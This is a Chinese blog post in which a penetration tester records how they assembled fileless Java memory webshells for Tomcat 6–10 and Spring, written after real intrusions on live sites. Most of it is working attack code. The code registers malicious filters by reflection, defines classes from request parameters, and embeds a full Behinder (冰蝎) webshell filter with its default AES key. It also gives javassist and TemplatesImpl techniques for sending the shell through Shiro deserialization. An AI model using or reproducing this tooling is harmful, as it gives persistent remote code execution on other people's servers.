0%

Java内存马缝合笔记

Java内存马缝合笔记

之前渗透的时候遇到了一个java站,tomcat8跑的,能上传jsp,有shiro但是打不通(打通之后看了一眼无敌高版本)
jsp上传之后会急速被删,可以条件竞争去抢,这样子的话打一个内存马就是最稳整的,但是我是java垃圾捏,不会打,幸好天哥最后给了个现成的内存马
还有一个远古tomcat6的站,有一个jndi注入,最后也是靠whj好兄弟缝出来了一个tomcat6的回显打通,所以这波结束之后还是决定稍微学一下,就算不能懂原理,起码要缝出来一套能应对各个版本的内存马。。。以及遇到问题的时候起码有一套调试环境能排错

由于java水平有限,写出来的东西基本上都是从网上东拼西凑出来的,超级缝合怪,但是不得不说我缝合的水平真是越来越好了,因为感觉就大家的内存马理论都学得很好,我学点皮毛能用就行了,所以就叫缝合笔记8

3,2,1,开缝!

回显

实际上要做的操作在本质上区别不大,都是找到tomcat下的某个对象,然后修改其属性之类的。

回显的话就拿到request和response对象就可以了,所以操作起来简单一点,并且payload也短一些,在例如shiro等受到tomcat header长度7300(听说的)的限制下能使用的几率更大
当然网上现在缩短payload的方法也一搜一堆,用javassist去行号之类的。或者直接反射改tomcat的最大长度限制之类的也行

spring回显

回显似乎存在着更加通用的手法,因为ctf中的环境springboot居多,所以之前大多是用一个springboot的祖传回显进行的,spring下的回显似乎很稳定,从org.springframework.web.context.request.RequestContextHolder类中获取request和response,网上都有现成的,直接复制粘贴就打通一切了。

tomcat回显

tomcat下就稍微麻烦一些。jsp的话本来就有request和response对象,当然这也不能叫内存马了,就是直接的jsp木马,更多的是考虑反序列化等代码执行的情况下进行回显

这里有一个注意点,tomcat从10开始讲javax转变为jakarta,并不知道有什么意义,但是对应的包名都需要重新修改一遍。

网上流行的payload是一个经典的线程遍历,直接从currentThread往上拿到全部线程,然后一个个找线程拿到对应的request和response对象,据说这个操作是全版本通用的回显捏。后续的内存马操作有部分和这个类似,所以这里也就不着重讲

不过说到底这些并不是今天的重点,回显用一次打一次还是有些不方便,不如直接一发内存马打进去一直用

内存马

在开始内存马之前,需要先掌握一些内存马相关的知识

spring层面的内存马有controller和interceptor,而tomcat层面的则是serverlet,filter和listener

每一种内存马都有自己的打法,但是打进去了效果都是一样的,网络上关于内存马的研究已经炉火纯青了,所以只需要百度一下疯狂缝合就基本上都能用。所以这篇文章也只是对看过的文章和踩过的小坑做记录,只要肯找网上现成的开箱即用的payload估计也能找到一堆

我这里就研究了一下现在最流行的filter内存马。

因为spring本身内置了tomcat,所以tomcat内存马同样适用于spring应用,就能一键打通了

在开始之前稍微回顾一下打进去一个filter内存马需要的条件

  1. 一个恶意filter类,实现了自己的doFilter方法(用的时候需要把传入的ServletRequest转为HttpServletRequest才能使用,不然会出问题。。。)
  2. 一个当前应用的StandardContext
  3. 装载了恶意类的FilterDefFilterMapApplicationFilterConfig,然后把他们添加进StandardContext

基本上各种操作都是围绕着如何获取StandardContext展开的

spring内存马

讲道理,能打tomcat的内存马应该就能打spring,不过spring有自己的获取StandardContext的方法,所以可以单独写一版

但实际上,获取StandardContext的前一步一般是获取一个HttpServletRequest对象,进而从这个对象里面getSession().getServletContext();,而回显的时候就已经提到了,spring可以直接从一个类中拿到request对象。

接下来需要对ServletContext的context对象进行迭代,有可能直接是一个StandardContext,也可能还是一个ServletContext,如果是ServletContext的话就继续访问其context属性直到其是一个StandardContext,这里对StandardContext需要反复迭代,文末会讲到

Object requestAttributes = Class.forName("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes", new Class[0]).invoke(null, new Object[0]);
HttpServletRequest request = (HttpServletRequest) requestAttributes.getClass().getMethod("getRequest", new Class[0]).invoke(requestAttributes, new Object[0]);
response = (HttpServletResponse) requestAttributes.getClass().getMethod("getResponse", new Class[0]).invoke(requestAttributes, new Object[0]);
final String name = "AutomneGreet";
ServletContext servletContext = request.getSession().getServletContext();

tomcat内存马

tomcat8-9

10也许也能用,只要把所有javax换成jakarta?但是感觉实战根本遇不上,也懒得下就没测
tomcat的话稍微麻烦一点点,不过如果是高版本其实会很简单,也可以直接从一个类中拿到

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot resources = (StandardRoot)getField(webappClassLoaderBase, "resources");
StandardContext standardContext = (StandardContext) resources.getContext();

这里的反射在低版本的tomcat下是不必要的,可以直接webappClassLoaderBase.getResouces().getContext(),印象里是之前出了个啥洞(好像是那个被吹得沸沸扬扬的tomcat+java9以上用module改日志配置写jsp的)好像用到了getResouces(),这个函数本身就是被废弃的函数,然后tomcat就顺手把这个函数的返回值变成null了,就没法用了,但是反射一下还是能拿到

后续同spring部分

tomcat7

这个就变得很麻烦。。。因为上述步骤中的这个StandardRoot在tomcat7里面是不存在的,也不能像jsp一样直接获取。使用的手法和上述tomcat回显操作一致,直接遍历线程,从线程里面拿request对象,再从request对象里面拿到context

拿到context之后后续仍同。

但tomcat7和8-9又有一个区别,他filterMap那一套的类名不一样,需要单独引入依赖编译。。。如果有耐心写一个超级全反射可能也行,但是我没这个耐心。。。

// tomcat7
import org.apache.catalina.deploy.FilterDef;
import org.apache.catalina.deploy.FilterMap;

// tomcat 8-10
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

说起来当时写这个东西的时候就在怀疑,如果是反序列化之类的我这边类编译起来他那边会不会缺这个类进而失败呢?或者说有那种反序列化serializeUID之类的?后来想了一下,反序列化应该是直接templatesImpl执行类字节码,首先不会有反序列化的版本问题,然后这里用的都是对应版本的核心类,应该也不会出现缺类的问题。。
如果是scriptEngine或者JNDI注入的打法应该也是一个原理,无影响

tomcat6

我本来也不会考虑这种二十年前的玩意,但是这把就是遇到了,那也就只能考虑他了,他和7又有一点不同,因为他的filterDef的写法也不一样,内部的逻辑也有区别,由于只是缝合,所以没有太细看原理,缝起来能用就行,前半段还是用tomcat通用的request获取,后半段缝了别人的代码,测验通过可用。

所有文章都会放文末参考链接

tomcat 冰蝎内存马

更新的全新内容!
没事做刚好朋友调内存马遇到问题来问我,但是他做的比我高级,是shiro打冰蝎内存马,非常顶级,还给我分享了一个链接,是指在不出网情况下反序列化+内网代理怎么打,用的reGeorg做一个web端的http代理,同样是打进内存里。总之就是非常有意思,然后我也和他一起缝了起来

由于是shiro环境,有一个经典http header长度限制,默认8k,如果把CB1加冰蝎缝到一起会超长度(不知道用javassist嗯缩能不能缩进去),这里采用分离加载的方式,即只实现一个classloader,再用classloader加载注册冰蝎filter内存马的类

classloader

TomcatClassLoader的实现其实很简单,只需要把之前获取HttpServletRequest那段保留,然后后面的注册filter和内部filter类都删掉即可,从request中直接获取post参数的data,一键define class,不过这里就不让后续payload在static段中执行了,而是实例化一个对象出来,然后用equal方法传个参过去,这样子后续payload就不用再找一遍request对象了

    static {
        try {
            Object jioEndPoint = GetAcceptorThread();
            if (jioEndPoint != null) {
                Object object = getField(getField(jioEndPoint, "handler"), "global");

                ArrayList processors = (ArrayList) getField(object, "processors");
                Iterator iterator = processors.iterator();
                while (iterator.hasNext()) {
                    Object next = iterator.next();
                    Object req = getField(next, "req");
                    Object serverPort = getField(req, "serverPort");
                    if (serverPort.equals(-1)) {
                        continue;
                    }

                    // 使用方法为整一个实现了filter的类在equal方法中把自己注册到filter里面去,样例payload类位于Templates.Payload
                    HttpServletRequest request = (HttpServletRequest)Class.forName("org.apache.coyote.Request").getMethod("getNote", new Class[]{int.class}).invoke(req, 1);
                    String payload = request.getParameter("class");
                    byte[] classByte = Base64.getDecoder().decode(payload);
                    Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                    defineClassMethod.setAccessible(true);
                    Class clazz = (Class) defineClassMethod.invoke(TomcatClassLoader.class.getClassLoader(), classByte, 0, classByte.length);
                    clazz.newInstance().equals(request);
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

BehinderFilter

这个类需要完成两个功能,1. 继承filter类,实现自己的doFilter方法,2. 在equal方法中将自己注册到tomcat的filter上

先写equal方法,因为上述搜线程方案是tomcat7-9通用的,所以这里的实现也懒得整7和8/9分开的了,7与8/9的区别除了request的获取难度,就是FilterMapFilterDef两个类的完全限定名不一样,但实际上方法签名是一致的,所以可以通过全写反射来完成调用,实现一个equal方法接受上述classloader传过来的request对象,然后改一手反射

//            // 这五行的反射实现,可以直接兼容tomcat 7-9了
//            FilterDef filterDef = new FilterDef();
//            filterDef.setFilter(this);
//            filterDef.setFilterName(filterName);
//            filterDef.setFilterClass(this.getClass().getName());
//            standardContext.addFilterDef(filterDef);
            Class filterDefClass = null;
            try {
                filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
            } catch (ClassNotFoundException exception) {
                try {
                    filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
                } catch (ClassNotFoundException e) {
                    e.printStackTrace();
                }
            }

            Object o = this.getClass().newInstance();
            Object filterDef = filterDefClass.newInstance();
            Method setFilterMethod = filterDefClass.getMethod("setFilter", Filter.class);
            Method setFilterNameMethod = filterDefClass.getMethod("setFilterName", String.class);
            Method setFilterClassMethod = filterDefClass.getMethod("setFilterClass", String.class);
            setFilterMethod.invoke(filterDef, o);
            setFilterNameMethod.invoke(filterDef, filterName);
            setFilterClassMethod.invoke(filterDef, o.getClass().getName());
            Method addFilterDefMethod = standardContext.getClass().getMethod("addFilterDef", filterDefClass);
            addFilterDefMethod.invoke(standardContext, filterDef);

再实现doFilter,这里可以先放一个简单的回显测一下classloader+equal的组合有没有成功把filter注册上去。doFilter把冰蝎的马直接缝进来就完成一半了

不过直接缝会有几个小问题,requestsessionpageContext三个对象是jsp里面内置的,这里不能直接搞到。pageContext是冰蝎用来回显的,因为能快速的搞到request和response对象,同样用equal传参,因为equal能传object吧(大概)。
request和session很好搞,直接从ServletRequest强制类型转换一下就有,session再从request里面get一下就出来了,pageContext试着new了一下new不出来,要我实现一万个方法,后来在网上找到说冰蝎高一点的版本可以用hashMap里面放三个对象代替标准的pageContext,这样子就好搞了捏

接下来这个问题我没踩过坑,是网上的文章说有坑所以我直接缝了,冰蝎是自己定义了一个classloader类进行的define class,但是网上说这里缝一个内部类进来跑不起来,然后分析了一大堆,我感觉不太对,可能的问题和下文提到的坑中的javassist忽略内部类有关,但是templatesImpl能接受bytes二维数组,我这里defineClass不行,所以就改成反射直接调用defineClass,如下

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) servletRequest;
        HttpServletResponse response = (HttpServletResponse) servletResponse;
        HttpSession session = request.getSession();
        HashMap pageContext = new HashMap();
        pageContext.put("request",request);
        pageContext.put("response",response);
        pageContext.put("session",session);
        if (request.getMethod().equals("POST")) {
            String k = "e45e329feb5d925b"; //密钥md5前16位,此为默认密钥rebeyond
            session.putValue("u", k);
            Cipher c = null;
            try {
                c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                defineClassMethod.setAccessible(true);
                byte[] classBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class clazz = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(),classBytes , 0, classBytes.length);
                clazz.newInstance().equals(pageContext);

            } catch (Exception e) {
                e.printStackTrace();
            }
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }

缝合大成功!一键打通,并且TomcatClassloader shiro加密一下的长度在7k2左右,刚好在允许范围内,工具++

需注意post发送的数据中base64会产生加号,加号需要替换成%2b,不然发过去加号会被认为是空格,但是rememberMe中的加号就不需要替换

踩过的怪坑

IDEA调试环境

之前一直只是手动建立一个webapp然后配好tomcat开始跑,但是由于没有引入依赖,IDEA里面一片红,调试也很麻烦,专门找了一下怎么调试,记录一下

建立JSP项目

右键左侧边栏最顶上的项目名,有一个Add Frameworks Support,选web Application就能天加一个web app项目,然后直接在右上角的config里面添加tomcat,会有一个报错,点fix就能解决

但是这个时候红字是拉满的,request对象都不认识的那种。虽然能跑了,但是IDEA不认识,只能在jsp代码里下断点,其他的地方都去不了。为了调试就需要引入依赖,并且要测反序列化能不能打肯定也要引入CC链,在Project Structure里面选择modules,右边dependencies添加,第一个是引入jar包,可以手动引入CC之类的依赖,第二个是library,就是能引入代码让IDEA调试,添加你的tomcat就能用了,基本上红字消除一半,剩下的一半是因为idea默认的tomcat的lib里只有两个jar包,双击添加的tomcat依赖,直接把tomcat下的lib文件夹整个作为依赖就没有红字了,并且接下来的调试也是为所欲为所欲为所欲为,吴迪。好像配的有问题的时候problem那里也会显示,没事多点点也许就解决了。idea真不错啊

springboot调试

这个简单,springboot本身就内嵌了tomcat,maven项目一把梭就行了,但是感觉想更改内嵌的tomcat版本就很玄幻。。。从网上找的pom里面添加一个tomcat.version,只能把小版本变一下,把tomcat9换成8就歇逼了。

好像能改springboot版本更改其内嵌的tomcat,不过估计也就换到8,懒得整了

javassist处理内部类

TemplatesImpl是通过defineClass加载类字节码执行里面的static字段实现命令执行的,然而我们在这里定义了一个自己构造的Filter内部类,直接用javassist获取字节码的时候是会忽略这个内部类的。。。。所以没有这个内部类的话payload跑起来会报一个类找不到的错误,怎么打都打不通。专门搜了下,javassist有专门的获取内部类字节码的方法,而TemplatesImpl的bytecode本身就是一个二维数组,支持多个类的定义,这里先把内部类放前面先定义,再触发恶意类的payload即可

        ClassPool pool = ClassPool.getDefault();
        CtClass ctClazz = pool.get(TomcatFilter6.class.getName());
        CtClass[] nestedClazz = ctClazz.getNestedClasses();
        byte[][] targetBytes = new byte[1 + nestedClazz.length][];
        // 内存马里面定义了自己写的类,内部类得单独拿出来处理,应该还得在payload实例化前先定义,不然到时候要用的时候找不到定义
        for (int i = 0; i < nestedClazz.length; i++) {
            targetBytes[i] = nestedClazz[i].toBytecode();
        }
        byte[] classBytes = ctClazz.toBytecode();
        targetBytes[targetBytes.length - 1] = classBytes;

另一种写法是让自己的payload类同时extends AbstractTransletimplement Filter,同时实现两个类的方法,然后Filter实例化的时候直接实例化自己。不过两个方法payload长度没啥变化,都可行吧

类字段获取不到

因为tomcat和spring和jsp环境不同 ,不同情况下拿到的对象好像基础套的层数也不一样,反射getDeclaredField会经常拿不到对应对象,看了下文档才知道,getField可以获得公开的字段,包括继承下来的,而getDeclaredField虽然可以拿私有字段,但是不能拿到继承的字段,这样子就只能getSuperClass往上找,但是你也不知道要找几层,主要还是不同环境下套的层数可能有差异,所以还是得专门写个方法来处理一下

    public static Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {
                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (Exception e) {
            }
            clazz = clazz.getSuperclass();
        }
        return null;
    }

StandardContext获取不到

也是上述类似问题,从ServletContext中不知道要几层才能拿到StandardContext,所以也套一个for循环

StandardContext standardContext = null;
while (standardContext == null) {
    Field field = servletContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    Object o = field.get(servletContext);
    if (o instanceof ServletContext) {
        servletContext = (ServletContext) o;
    } else if (o instanceof StandardContext) {
        standardContext = (StandardContext) o;
    }
}

参考链接

tomcat6、7、8、9内存马
Java内存马:一种Tomcat全版本获取StandardContext的新方法
JavaWeb 内存马一周目通关攻略
Tomcat Servlet-Api内存马总结及代码实现
利用shiro反序列化注入冰蝎内存马
Java代码执行漏洞中类动态加载的应用
冰蝎改造之不改动客户端=>内存马